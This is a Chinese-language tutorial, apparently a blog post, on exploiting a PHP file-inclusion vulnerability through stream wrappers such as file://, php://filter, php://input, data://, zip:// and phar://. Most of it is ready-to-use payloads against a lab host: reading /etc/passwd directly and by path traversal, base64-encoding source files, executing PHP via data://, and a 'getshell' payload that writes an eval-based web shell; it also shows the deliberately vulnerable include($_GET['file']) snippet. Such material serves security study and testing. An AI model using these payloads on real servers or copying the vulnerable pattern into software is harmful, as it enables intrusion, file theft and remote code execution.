php伪协议
1 2 3 4 5 6 7 8 9 10 11 12
| file://————访问本地文件系统 http://————访问 HTTP(s)网址 ftp://————访问FTP(s)URLs php://————访问各个输入/输出流(I/O streams ) zlib://————压缩流 data://————数据(RFC 2397) glob://————查找匹配的文件路径模式 phar://————PHP归档 ssh2://————Secure Shell 2 rar://————RAR ogg://————音频流 expect://————处理交互式的流
|
这里我以文件包含漏洞为例来演示php伪协议的利用方法
1 2 3
| <?php include($_GET['file']); ?>
|
file://
该协议用来访问服务端的本地文件,但是文件的协议固定结构后面的路径得是绝对路径(用相对路径则就不需要带上协议了)
使用条件:
1
| allow_url_fopen=On/Off(均可) allow_url_include=On/Off(均可)
|
使用效果:
1
| http://192.168.189.148/test.php?file=file:///etc/passwd
|
利用相对路径来读取文件
1
| http://192.168.189.148/test.php?file=../../../etc/passwd
|
http(s)://
该协议类似于访问输入的网页(但实际上还是和直接访问有区别,比如访问百度就虽然能显示正常的页面,但是百度一下的功能是使用不了的,会显示报错)
1
| 使用条件:allow_url_fopen=On allow_url_include=On/Off(均可)
|
使用效果
1
| http://127.0.0.1/test.php?file=http://www.baidu.com
|
php://filter
该协议多用来对文件处理,可以是读取时处理文件也可以是写入时处理文件。
1
| 使用条件: allow_url_fopen=On/Off(均可) allow_url_include=On/Off(均可)
|
read= 读取时选取的处理方式,一次可以选择多个处理方式,不同方式之间用|符号隔开。
write= 写入时选取的处理方式,一次可以选择多个处理方式,不同方式之间用|符号隔开。
resource= 通常是本地文件的路径,绝对路径和相对路径均可以使用。
1 2 3 4 5 6 7
| 关于read和write参数,其具体数值有: string.toupper 转换为大写 string.tolower 转换为小写 string.rot13 进行rot13加密 string.strip_tags 去除目标中含有的HTML、XML和PHP的标签(等同于strip_tags()函数) convert.base64-encode 进行base64加密 convert.base64-decode 进行base64解密
|
1
| http://192.168.189.148/test.php?file=php://filter/resource=/etc/passwd
|
1
| http://192.168.189.148/test.php?file=php://filter/read=convert.base64-encode/resource=../../../../etc/passwd
|
该协议获取数据包的消息正文的内容作为变量的值
1
| 使用条件(这些设定在php.ini文件中设置):allow_url_fopen=On/Off(均可) allow_url_include=On
|
1
| http://127.0.0.1/test.php?file=php://input
|
data://
该协议类似于php://input,区别在于data://获取的是协议固定结构后的内容
1 2 3
| data://text/plain;base64 data://text/plain 区别: 前者获取的是协议固定结构后所接内容的base64解密格式,而后者获取的是未被解密的格式
|
1
| http://127.0.0.1/test.php?file=data://text/plain,<?php echo('hello');?>
|
1
| http://127.0.0.1/test.php?file=data://text/plain,<?php phpinfo();?>
|
getshell
1
| <?php fputs(fopen("shell.php","w"),'<?php eval($_POST["s"]);?>');?>
|
成功写入shell.php
phar://、zip://、bzip2://、zlib://
1
| 用于读取压缩文件,zip://、bzip2://、zlib://均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀: jpg png gif等等。
|
访问1.zip文件中的1.jpg文件(需要跟压缩文件的绝对路径)
1
| http://127.0.0.1/test.php?file=zip://D:\phpStudy\WWW\1.zip%231.jpg
|
1
| http://127.0.0.1/test.php?file=phar://D:\phpStudy\WWW\1.zip\1.jpg
|